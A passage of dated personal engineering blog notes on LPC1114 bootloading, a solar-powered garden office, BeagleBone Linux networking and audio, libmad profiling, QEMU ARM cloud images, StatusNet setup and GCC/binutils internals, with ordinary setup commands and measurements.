1 mA at 6 MHz. 5 mA at 50 MHz.

Code

https://github.com/microbuilder/LPC1114CodeBase
mbed is a LPC11U24 but I can’t find the library code
http://www.microbuilder.eu/

Speed

0.98 CoreMark/MHz with Code Red GCC 4.3.3.

Bootloader

The built in bootloader seems fine. ASCII/uuencode based with auto baud. Starts the user program if ‘valid’ based on the vectors checksum.

Pins:

#RESET/PIO0_0 / pin 3
PIO0_1 / pin 4 low on reset to enter the loader
RXD/PIO1_6 / pin 46
TXD/PIO1_7 / pin 47

Protocol:

? ->
<- Synchronized<CR><LF>
Synchronized<CR><LF> ->
<- OK<CR><LF>

Use my FTD2232 based JTAG?

Interface

Use one of the Nokia DKU-5 clones from Trademe.

+5V TXD DTR RXD GND

RTS ??? ??? ??? ???

DTR and RTS can map to reset and BSL. Matches the Sparkfun one.

Looking from the bottom of the IDC, I have:

| | | |

1 2 3 4 5

6 7 8 9 10

1 = RTS
2 = TXD
3 = RXD
4 = –
6 = +5V
7 = DTR
8 = GND
5, 9, 10 = NC

Memory map

Bootloader:

0 - 0x7FFF: Flash in 4 k sectors
0x10000000 + 8 k: RAM
RAM + 0x17C to 0x025B: ISP work area
Upper 32 bytes of RAM: Flash work area
Top of RAM - 32 bytes: top of stack

Hookups

I have a MOD-NRF24LR. NRF24L01. SPI based.

And a MOD-LCD3310. 84x48. SPI based. Needs an extra data/command line.

Solar power for my office

Thu, 29 Mar 2012 00:00:00 +0000

I’m getting a 10 square metre office built in the garden. Let’s solar power it! This page has notes.

Most bits are from Jaycar.

A 380 W pure sine wave inverter. The fan stays off under normal < 100 W draw use. No inverter noise. Not hot. Thumbs up!

Started with a single 80 W 12 V Chinese monocrystaline panel. Peaks at 5 A. Peak power at ~16 V. Comes with waterproof connectors.

Started with a PWM charge controller. Pick 20 A for future capacity. Developed a peak of around 60 W (12 V @ 5 A). Changing to a MPPT gives an extra ~30 % (16 V = +4 V @ 5 A).

20 A mains flex is fine. Not UV proof though.

Added a second panel.

Thinkpad R500 laptop with Ubuntu Precise takes 40 W @ 240 V with the screen on, 60 W peak. Charge controller said it was delivering 50 W so 10 W loss + error in the inverter. Power factor is nasty.

Single small spare car battery gives OK storage. Only really needed for bridging. Probably won’t last.

Mild cloud cover reduces output to ~1/3. Surprising.

Point the panel north, your latitude from the ground. I was surprised with how accurate this is at the start of Autum. Measured the altitude of the sun using my shadow and it matched well. Solar angle calculator says 70 degrees in summer, 46 in autumn, and 22 in winter, and winter is coming…

Going for best winter performance (31 degrees) gives 2.81 kWh/m2/day at worst, 4.54 in summer. Best summer gives 2.30 to 5.64. Best winter gives 22 % more energy at the most needed time.

(Panel is 1210 x 540 = 0.65 m2. 80 W and ~1 kW/m2 gives ~12 % efficient)

8 hours with 2 x 15 W lights, 50 W laptop, 10 W loss = 90 W * 8 hours = 0.72 kWh. 0.65 x 2 m2 of panels @ 12 % @ 2.81 hWh/m2/day = 0.44 hWh = 61 % of needed.

Azimuth of the sun changes by 90 degrees during the day.

Use a 230 V relay for automatic changeover. Draws < 1 W. Change in < 16 ms.

Parts

Catalogue	Name	Price
MP3735	12V/24V 30A MPPT Solar Charge Controller	309
ZM9300	80W Recreational Solar Package Deal	375
MP-3128	Solar Charging Controller	-43.9
ZM9097	Powertech Monocrystalline Solar Panel - 80W	359
MI5162	380 Watt 12VDC to 230VAC Pure Sine Wave Inverter	312
	12 V car battery
WB1568	5 m 20 A mains flex	24.5
	Hobby box	5
	M4 x 12	6
	M6 x 15	6
	5 m aluminium channel	60

Total is $1400. Too much.

Pictures

Further

We have gas hot water and a heat pump. Consumption is 6500 kWh/year @ 20.44 c/kWh = $1335 / year. Peak is July at 22 kWh/day. Summer is 10 kWh/day.

The June 2009 Motukiekie Island ECEA study says 2.72 kWp cost $17 k. Batteries $12 k, inverters $13 k.

$17 k / 2.72 kWp = $6.25/Wh. A 80 W panel would be $500. Difference must be framing and installation.

Solarbuzz says the average price per Wp is $2.29 US for the module. Gives $7800 for the same system.

Guess and say we need a 3 kW inverter. $0.711 US/kW ~= $3000.

Auckland and Christchurch get 2050 sunshine h/year. 3.1 kWp ideally to cover it.

The iMiEV has a 16 kWh battery and can do 160 km. 20 km/day ~= 2kWh.

Jaycar MP3735 MPPT solar charge controller

Sun, 25 Mar 2012 00:00:00 +0000

I’m using the Jaycar MP3735 12V/24V 30A MPPT Solar Charge Controller for charging my office. It’s got a micro on board so let’s open the box and try and get more information out of it.

The board ID reads:

ISC3040MPPT-V2.0
2011-3-28

The stickers read:

ISC-MPPT-V11
ISC3040-V11

Searching for similar keeps bringing up the ProVista Maxi ISC 30. Same plastics but a different colour trim. There’s a model range but no mention of monitoring on any.

The CON2 header reads:

SDA  SCL  XRES  G  5V

The CON1 header reads something like:

PCLK  P???  GND  5V  --

CON2 is probably I2C. There’s a periodic packet of data clocked at around 82 kHz.

Everything is 5 V which makes hooking it to my favourite 3.3 V STM32 tricky.

Photos

BeagleBone

Wed, 07 Mar 2012 00:00:00 +0000

This page has terse notes on installing the Linaro LEB root filesystem on a BeagleBone, setting up the USB Ethernet gadget, and enabling basic networking.

Initial

Grab the boot partition contents to get MLO, u-boot, and the kernel.

Grab the modules from the rootfs.

Use linaro-media-create to fill the SD card. Claim we’re a BeagleBoard for no real reason.

./linaro-media-create --mmc /dev/sdb-check-this --dev beagle \
    --rootfs ext4 --console ttyO0,115200n8 \
    --hwpack ~/Downloads/hwpack_linaro-omap3_20120210-0_armel_supported.tar.gz \
    --binary ~/Downloads/linaro-o-developer-tar-20120210-0.tar.gz \
    --hwpack-force-yes --align-boot-part

Copy the original boot files to the new boot partition and the original modules to the new rootfs partition.

Boot issues

Seems to hang. Use an initial shell via:

set ip_method none --verbose init=/bin/sh

/etc/network/interfaces includes a DHCP on eth0 which is causing the long boot time. Disable.

I prefer LABEL=rootfs instead of UUID in /etc/fstab.

Enabling gadget based networking

Add g_ether to /etc/modules to enable the USB Ethernet gadget.

Add a iface usb0 inet static stanza to /etc/network/interfaces:

auto usb0
iface usb0 inet static
    address 192.168.7.10
    netmask 255.255.255.0
    gateway 192.168.7.1
    hwaddress ether fa:aa:55:aa:55:01

Set /etc/modprobe.d/gether.conf to options g_ether host_addr=fa:aa:55:aa:55:02 to fix the host MAC address.

Note the fixed instead of random MAC address.

Setup usb0 on the host as 192.168.7.1. Note that NetworkManager might interfere. If so, add a connection for the usb0 MAC address that does nothing.

SSH into the host and forward off to the main network proxy:

ssh -L 8123:proxy:8123 -N michaelh@192.168.7.1

Install openssh-server:

http_proxy=http://localhost:8123/ apt-get install openssh-server

Add a user adduser michaelh, put them in the sudo group adduser michaelh admin, ssh in from the host.

You can now ssh into the board.

Internet access via the host

The Maemo guys have documented this at http://wiki.maemo.org/USB_networking.

On the host, add a usb0 stanza to /etc/network/interfaces:

iface usb0 inet static
        address 192.168.7.1
        netmask 255.255.255.0
        up echo 1 > /proc/sys/net/ipv4/ip_forward
        up iptables -P FORWARD ACCEPT
        up iptables -A POSTROUTING -t nat -j MASQUERADE -s 192.168.7.0/24
        down echo 0 > /proc/sys/net/ipv4/ip_forward
        down iptables -t nat -F POSTROUTING

Post boot

Set the hostname:

echo bone > /etc/hostname

Consider installing avahi-daemon. Allows ssh bone.local.

sudo ntpdate-debian to set the date. Works best with eth0 due to the forwarding delays in usb0.

Make a LED turn on and off:

cd /sys/devices/platform/leds-gpio/leds/beaglebone::usr2
echo 255 > brightness
echo 0 > brightness

Profit.

Wireless

I have a Edimax EW-7711UTn USB Wifi dongle.

Add a wlan0 stanza to /etc/network/interfaces:

auto wlan0
iface wlan0 inet dhcp
        wireless-essid Public

(I have a profile on my router called ‘Public’ with no password).

Actually, it drops after a while. Ignore.

Notes

Env:

autoload=yes
baudrate=115200
bootargs_defaults=setenv bootargs console=${console} ${optargs}
bootcmd=if mmc rescan; then echo SD/MMC found on device ${mmc_dev};if run loadbootenv; then echo Loaded environment from ${bootenv};run importbootenv;fi;if test -n $uenvcmd; then echo Running uenvcmd ...;run uenvcmd;fi;if run mmc_load_uimage; then run mmc_args;bootm 0x80007fc0;fi;fi;run nand_boot;
bootdelay=1
bootenv=uEnv.txt
bootfile=uImage
console=ttyO0,115200n8
ethact=cpsw
ethaddr=40:5f:c2:76:ab:62
importbootenv=echo Importing environment from mmc ...; env import -t $loadaddr $filesize
ip_method=none
loadaddr=0x82000000
loadbootenv=fatload mmc ${mmc_dev} ${loadaddr} ${bootenv}
mmc_args=run bootargs_defaults;setenv bootargs ${bootargs} root=${mmc_root} rootfstype=${mmc_root_fs_type} ip=${ip_method}
mmc_boot=run mmc_args; run mmc_load_uimage; bootm 0x80007fc0
mmc_dev=0
mmc_load_uimage=fatload mmc ${mmc_dev} 0x80007fc0 ${bootfile}
mmc_load_uimage_ext2=ext2load ${mmc_dev} 0x80007fc0 /boot/${bootfile}
mmc_root=/dev/mmcblk0p2 ro
mmc_root_fs_type=ext4 rootwait
nand_args=run bootargs_defaults;setenv bootargs ${bootargs} root=${nand_root} noinitrd rootfstype=${nand_root_fs_type} ip=${ip_method}
nand_boot=echo Booting from nand ...; run nand_args; nand read.i ${loadaddr} ${nand_src_addr} ${nand_img_siz}; bootm ${loadaddr}
nand_img_siz=0x500000
nand_root=/dev/mtdblock7 rw
nand_root_fs_type=jffs2
nand_src_addr=0x280000
net_args=run bootargs_defaults;setenv bootargs ${bootargs} root=/dev/nfs nfsroot=${serverip}:${rootpath},${nfsopts} rw ip=dhcp
net_boot=echo Booting from network ...; setenv autoload no; dcache off; dhcp; tftp ${loadaddr} ${bootfile}; run net_args; bootm ${loadaddr}
nfsopts=nolock
nor_args=run bootargs_defaults;setenv bootargs ${bootargs} root={nor_root} rootfstype=${nor_root_fs_type} ip=${ip_method}
nor_boot=echo Booting from NOR ...; run nor_args; cp.b ${0x08080000} ${loadaddr} ${nor_img_siz}; bootm ${loadaddr}
nor_img_siz=0x280000
nor_root=/dev/mtdblock3 rw
nor_root_fs_type=jffs2
nor_src_addr=0x08080000
rootpath=/export/rootfs
script_addr=0x81900000
spi_args=run bootargs_defaults;setenv bootargs ${bootargs} root=${spi_root} rootfstype=${spi_root_fs_type} ip=${ip_method}
spi_boot=echo Booting from spi ...; run spi_args; sf probe ${spi_bus_no}:0; sf read ${loadaddr} ${spi_src_addr} ${spi_img_siz}; bootm ${loadaddr}
spi_bus_no=0
spi_img_siz=0x280000
spi_root=/dev/mtdblock4 rw
spi_root_fs_type=jffs2
spi_src_addr=0x62000
static_ip=${ipaddr}:${serverip}:${gatewayip}:${netmask}:${hostname}::off
stderr=serial
stdin=serial
stdout=serial

libmad on the BeagleBone

Wed, 07 Mar 2012 00:00:00 +0000

(or really any Cortex-A)

[[notes/bonemad]]

I’m mainly interested in performance as power used ~= 1/performance.

Using libmad-0.15.1b-7ubuntu1 from Precise and Linaro GCC 4.6 2012.02 as a cross build setup.

Has its own complicated and out of date way of selecting the optimisations. Ubuntu turns this into a -O2. Scans the CFLAGS to pull out the optimisation.

At 720 MHz over USB.

Default -O2 setup: 23.4 s, 21.4 s, 21.5 s, 21.5 s

Switch to userspace governor and lock at 720 MHz: 21.2 s, 21.2 s, 21.2 s

-O3 setup: 21.2 s, 21.2 s…

…as it’s picking up the system libmad!

-O3 setup: 21.5 s, 21.5 s

-O2 setup: 21.5 s, 21.5 s

There’s very little difference in size - ~30 bytes. As the Ubuntu patch forces it to -O2 and ignores the earlier CFLAGS parsing.

-O3 setup: 21.7 s, 21.7 s - slower!

Disable the assembly routines and see how it changes.

-O3 noasm: 20.0 s, 20.0 s

-O2 noasm: 20.4 s, 20.4 s

-O3 noasm -mfpu=neon (turns on the vectoriser): 19.9 s, 19.9 s.

Not much change which suggests a very hot function or some bad code. perf time!

perf report:

55.17%  minimad  libc-2.13.so       [.] _IO_putc
15.50%  minimad  libmad.so.0.2.1    [.] synth_full
 7.02%  minimad  libmad.so.0.2.1    [.] III_decode
 6.51%  minimad  libmad.so.0.2.1    [.] loop
 5.29%  minimad  libmad.so.0.2.1    [.] dct32
 2.64%  minimad  minimad            [.] output
 1.81%  minimad  libmad.so.0.2.1    [.] III_imdct_l
 1.29%  minimad  libmad.so.0.2.1    [.] mad_bit_read
 0.97%  minimad  libmad.so.0.2.1    [.] III_aliasreduce
 0.96%  minimad  libmad.so.0.2.1    [.] normal_block_x0_to_x17
 0.89%  minimad  libmad.so.0.2.1    [.] normal_block_x18_to_x35
 0.54%  minimad  minimad            [.] mad_stream_errorstr@plt
 0.41%  minimad  minimad            [.] mad_decoder_finish@plt

Or, in other words, dominated by the sample writer in minimad. Probably due to this:

sample = scale(*left_ch++);
putchar((sample >> 0) & 0xff);
putchar((sample >> 8) & 0xff);

if (nchannels == 2) {
  sample = scale(*right_ch++);
  putchar((sample >> 0) & 0xff);
  putchar((sample >> 8) & 0xff);
}

Writes 1152 samples per callback. Turn this into a scale-to-buffer to keep some semblance of an output layer…

8.3 s, 8.3 s. Much better. perf shows:

36.80%  minimad  libmad.so.0.2.1    [.] synth_full
17.44%  minimad  libmad.so.0.2.1    [.] III_decode
15.46%  minimad  libmad.so.0.2.1    [.] loop
13.12%  minimad  libmad.so.0.2.1    [.] dct32
 3.84%  minimad  libmad.so.0.2.1    [.] III_imdct_l
 3.32%  minimad  libmad.so.0.2.1    [.] mad_bit_read
 2.33%  minimad  libmad.so.0.2.1    [.] III_aliasreduce
 2.31%  minimad  libmad.so.0.2.1    [.] normal_block_x18_to_x35
 2.21%  minimad  libmad.so.0.2.1    [.] normal_block_x0_to_x17
 0.59%  minimad  minimad            [.] output

-O3 noasm novect: 8.6 s, 8.7 s

Note the noasm version is lower fidelity. I guess the assembly version keeps things in 64 bits for longer.

-O3 asm novect: 10.3 s, 10.3 s

-O3 noasm vect -marm: 8.2 s, 8.2 s. So Thumb-2 is similar to ARM mode.

-O3 noasm vect -mtune=cortex-a8: 8.8 s, 8.1 s, 8.1 s. Tuned for A8 instead of A9 is slightly better.

Hot functions

Decent so far is -O3 noasm vect -mtune=cortex-a8 in Thumb-2. Hot functions are:

37.33%  minimad  libmad.so.0.2.1    [.] synth_full
17.46%  minimad  libmad.so.0.2.1    [.] loop
15.93%  minimad  libmad.so.0.2.1    [.] III_decode
12.10%  minimad  libmad.so.0.2.1    [.] dct32
 4.23%  minimad  libmad.so.0.2.1    [.] III_imdct_l
 2.75%  minimad  libmad.so.0.2.1    [.] mad_bit_read

synth_full is dominated by ML0 and MLAs. There’s a 1..16 loop in there which the vectoriser could hit. The compiler is spotting the mlas.

BeagleBone playing media

Fri, 02 Mar 2012 00:00:00 +0000

I have a XITEL MD-PORT AN1 USB Audio adapter. It sounds quite good. Can I hook it to my BeagleBone and use it as a remote audio player?

On Precise I see:

[33777.196130] usb 6-2: new full-speed USB device number 6 using uhci_hcd
[33777.475281] input: XITEL MD-PORT AN1 as \
  /devices/pci0000:00/0000:00:1d.0/usb6/6-2/6-2:1.2/input/input17
[33777.475522] generic-usb 0003:09EF:0101.0006: input,hidraw0: \
  USB HID v1.00 Device [XITEL MD-PORT AN1] on usb-0000:00:1d.0-2/input2

The new nodes under /dev are:

/dev/bus/usb/006/006
/dev/char/116:7
/dev/char/116:8
/dev/char/13:68
/dev/char/189:645
/dev/char/250:0
/dev/hidraw0
/dev/input/by-id/usb-XITEL_MD-PORT_AN1_XA292-event-if02
/dev/input/by-path/pci-0000:00:1d.0-usb-0:2:1.2-event
/dev/input/event4
/dev/snd/by-id
/dev/snd/by-id/usb-XITEL_MD-PORT_AN1_XA292-00
/dev/snd/by-path/pci-0000:00:1d.0-usb-0:2:1.0
/dev/snd/controlC1
/dev/snd/pcmC1D0p
/dev/vboxusb/006/006

The new input device is interesting. Windows automatically changes to the port when a headphone jack is plugged in - I wonder if the input fires on insert/remove?

On the bone I see:

/dev/bus/usb/001/002
/dev/char/116:0
/dev/char/116:16
/dev/char/13:64
/dev/char/189:1
/dev/input/by-id
/dev/input/by-id/usb-XITEL_MD-PORT_AN1_XA292-event-if02
/dev/input/by-path
/dev/input/by-path/platform-musb-hdrc.1-usb-0:1:1.2-event
/dev/input/event0
/dev/snd/by-id
/dev/snd/by-id/usb-XITEL_MD-PORT_AN1_XA292-00
/dev/snd/by-path
/dev/snd/by-path/platform-musb-hdrc.1-usb-0:1:1.0
/dev/snd/controlC0
/dev/snd/pcmC0D0p
/dev/usbdev1.2

So that’s good!

Use mpg321 and madplay as tests. Using Linaro, so apt-get install them. Need alsa-utils for the Alsa support.

Audio is terrible - choppy. kworker/0:1 sits at 95 % CPU. Can’t set snd-usb-audio nrpacks as it’s compiled in.

0006-usb-musb-cppi41_dma-Check-if-scheduling-is-required-.patch may fix this. Build Angstrom and see.

Still fails with uImage-3.1-r2l+gitr1d84d8853fa30cf3db2571a5aec572accca4e29d-beaglebone-20120127084313.bin.

Try PIO only? Might be that the patch works fine for high speed devices but spends too much time spinning on others.

New kernel

It’s a confusing OpenEmbedded recipe based setup.

Kernel is at git://arago-project.org/git/projects/linux-am33x.git

meta-ti layer is at git://git.angstrom-distribution.org/meta-texasinstruments

The recipe is linux-ti33x-psp_3.2 and will be out of date when you read this :)

The config is under recipes-kernel/linux/linux-ti33x-psp-3.2/beaglebone/defconfig.

There’s a large patch list on top of the kernel. I hacked a script to apply the patches on top of the Git tree.

Install the modules using make modules_install INSTALL_MOD_PATH=/media/rootfs

Playback

vlc looks viable. Run against local files and use a/any VLC remote to control.

DNLA seems pretty dire.

Running Ubuntu armel cloud instances manually

Sun, 22 Jan 2012 00:00:00 +0000

Documentation: https://help.ubuntu.com/community/UEC/Images

The image itself: http://uec-images.ubuntu.com/oneiric/current/oneiric-server-cloudimg-armel-disk1.img

This is the plain QCOW2 image. The normal one includes OMAP3/4(?) kernel but I’ll use the vexpress-a9 Linaro hwpack instead.

michaelh@crucis:~/linaro/tests/qemu/img$ qemu-img info oneiric-server-cloudimg-armel-disk1.img
image: oneiric-server-cloudimg-armel-disk1.img
file format: qcow2
virtual size: 808M (847203840 bytes)
disk size: 198M
cluster_size: 65536

Running with:

qemu-system-arm -M vexpress-a9 -m 1024 \
-drive file=../../img/ubuntu.img,if=sd,cache=writeback \
-serial stdio \
-append 'root=/dev/mmcblk0p1 rw mem=1024M console=ttyAMA0,38400n8 rootwait' \
-kernel ../../img/tip/uImage -initrd ../../img/tip/uInitrd

Sits there saying:

2012-01-09 03:12:12,509 - DataSourceEc2.py[WARNING]: ‘http://169.254.169.254’ failed: url error [[Errno 111] Connection refused]

Try different boot args:

root=/dev/mmcblk0p1 rw mem=1024M console=ttyAMA0,38400n8 rootwait \
init=/usr/lib/cloud-init/uncloud-init ubuntu-pass=ubuntu ds=unloud-init

Running:

qemu-system-arm -M vexpress-a9 -m 1024 \
-drive file=../../img/ubuntu.img,if=sd,cache=writeback \
-serial stdio \
-append 'root=/dev/mmcblk0p1 rw mem=1024M console=ttyAMA0,38400n8 rootwait init=/usr/lib/cloud-init/uncloud-init ubuntu-pass=ubuntu ds=nocloud' \
-kernel ../../img/tip/uImage -initrd ../../img/tip/uInitrd

Fails with:

Failed to execute /usr/lib/cloud-init/nocloud-init.  Attempting defaults...

Should be uncloud-init.

uncloud-init assumes the console is on ttyS0. Patch to ttyAMA0.

Final fault is the ds=. Should be nocloud which causes cloud-init to use DataSourceNoCloud.py.

Forward SSH:

-redir tcp:5022::22

Giving:

qemu-system-arm -M vexpress-a9 -m 1024 \
-drive file=../../img/ubuntu.img,if=sd,cache=writeback -serial stdio \
-append 'root=/dev/mmcblk0p1 rw mem=1024M console=ttyAMA0,38400n8 rootwait init=/usr/lib/cloud-init/uncloud-init ubuntu-pass=ubuntu ds=nocloud' \
-kernel ../../img/tip/uImage -initrd ../../img/tip/uInitrd \
-redir tcp:5022::22

StatusNet installation

Sun, 22 Jan 2012 00:00:00 +0000

Download 1.0.1.

Needs PHP 5.2.3+, MySQL, various extensions.

apt-get install php5-cli mysql-server php5-curl php5-mysql php5-gd php5-gmp

Would be nice to shift to Debianised versions of the external libraries.

MySQL password with a c.

http://publications.jbfavre.org/statusnet/install-statusnet-nginx-php-fpm.en

Use spawn-fcgi.

PHP_FCGI_CHILDREN=1 PHP_FCGI_MAX_REQUESTS=1000 spawn-fcgi -p 11000 -n – /usr/bin/php5-cgi

Need to set: fastcgi_param SCRIPT_FILENAME (document_root)fastcgi_script_name

Run install.php from the commandline.

Does a redirect loop.

Going to /status/index.php?p=main/login is reasonably right. Rewrite must be breaking.

Need PATH_INFO else it hits a redirect loop.

Can login!

Pull the database off the existing site.

Getting a DB Error: no such table error probably due to a new feature between versions.

Run scripts/upgrade.php? Yip!

Pull in the avatars etc.

Set the theme using config.php: $config[‘site’][‘theme’] = ‘yourthemename’;

Syncing over MTP

Sun, 22 Jan 2012 00:00:00 +0000

info.product = ‘GT-P7510/Galaxy Tab 10.1’ info.vendor = ‘Samsung’ usb.serial = ‘304D19FDB028588E’ info.capabilities = { ‘camera’, ‘portable_audio_player’ }

According to: https://answers.launchpad.net/ubuntu/+question/69910

Set /etc/hal/fdi/policy/no-mtp.fdi:

portable_audio_player camera

Using clobber in machine descriptions

Thu, 23 Apr 2009 20:22:02 +0000

‘clobber’ ensures that the register is free before entering and after exiting an instruction. Therefore you can’t use it to say a register is used then destoryed by an instruction such as LOADACC, (X+) on X.

Took a while to figure this out

Extreme optimisation

Fri, 17 Apr 2009 07:40:46 +0000

GCC is crazy.Â It recognises a printf(‘foo\n’) and turns it into the equivalent puts(‘foo’) instead.

builtins.c has all types of similar transformations including printf(‘%c’, v) to a putch(v) and printf(‘%s’, v) to fputs().

Canterbury innovation incubator

Sun, 05 Apr 2009 05:08:53 +0000

The Cii seems interesting. It needs more publicity – this is the first time I’ve heard of it in my fifteen years in Christchurch.

Adding new relocation types

Mon, 30 Mar 2009 08:44:32 +0000

For bfd, add them to the comment block in reloc.c then run ‘make headers’. One more make after that gets it through to bfd.h

binutils / bfd target magic

Mon, 02 Mar 2009 08:49:27 +0000

So the BFD architectures listed in bfd.h are actually defined archures.c in a big comment block at the start of the file.Â This is split out and fired into the documentation, many bfd-in-xx.h files, and finally into bfd.h.

Note that a ‘make headers’ doesn’t re-build it.Â I found a ‘make distclean; ./configure’ was the most brute force way.

Python on an embedded system

Thu, 19 Feb 2009 07:17:49 +0000

I like Python.Â I want to use Python everywhere.Â Hmm.Â Sounds more like an addiction.Â The question is, is Python suitable as a glue language on a embedded Linux system?

With a few hacks Python 1.5.2 cross compiles just fine.Â The speed will be acceptable so it’s really only the size that matters.

A standard build under x86 is 12.6M. From there:

Stripping python saves 1.1M
Removing man and include saves 400k
Removing *.py and *.pyo saves 2.8M but still lets everything run
Removing Tk, Config, and stdwin saves 3.9M
Removing test saves 1.9M

This brings a fully working Python interpreter with all of the command line libraries down to 2.4M.Â Quite respectable.

Naming

Sun, 01 Feb 2009 19:20:14 +0000

For personal reference.Â What happens when you follow too strict of a naming convention:

http://ws.apache.org/xmlrpc/apidocs/org/apache/xmlrpc/server/RequestProcessorFactoryFactory.html?rel=html

Hmm

Wed, 26 Nov 2008 08:42:41 +0000

http://www.ladyada.net/make/fuzebox/index.html

and

http://www.makershed.com/ProductDetails.asp?ProductCode=MKPO1

Anthony’s

Tue, 30 Sep 2008 03:27:51 +0000

…fish grotto on the bay in San Diego is very good.

They also do seafood.

Richard Stallman

Sat, 16 Aug 2008 07:12:53 +0000

Saw RMS at Canterbury University today.Â He has an interesting point of view, very liberal, but also a point of view that is based on old technology.

He said that sites like Google Docs are a problem as you are running a program on their machine, a program that you don’t have control over.Â The solution is to install your own version on your own machine.Â I wonder how you can do this and still get the advantages of hosted software, such as lower cost, lower administration, and higher availability.Â I don’t want to manage any of the software I use, and one solution is to let someone else do it.

He’s not concerned about embedded systems where a processor is used instead of a dedicated circuit, such as in a microwave.Â However, my microwave gains time and I’d rather have it show time in 24 hours to match the stove.Â Both I could fix with the source.Â Then you have car computers such as the Nissan GT-R that changes the car response if it is on a race track.Â I heard a rumor of the NSX requiring you to take the car to the dealer if it goes anywhere near a known track.

Hmm.Â Perhaps the embedded/mechanical equivalent is the Maker Bill of Rights from Make Magazine.

Zen of website maintenance

Wed, 06 Aug 2008 09:49:28 +0000

A certain website had a few vuneribilities including XSS and leaking passwords.Â The fixes were: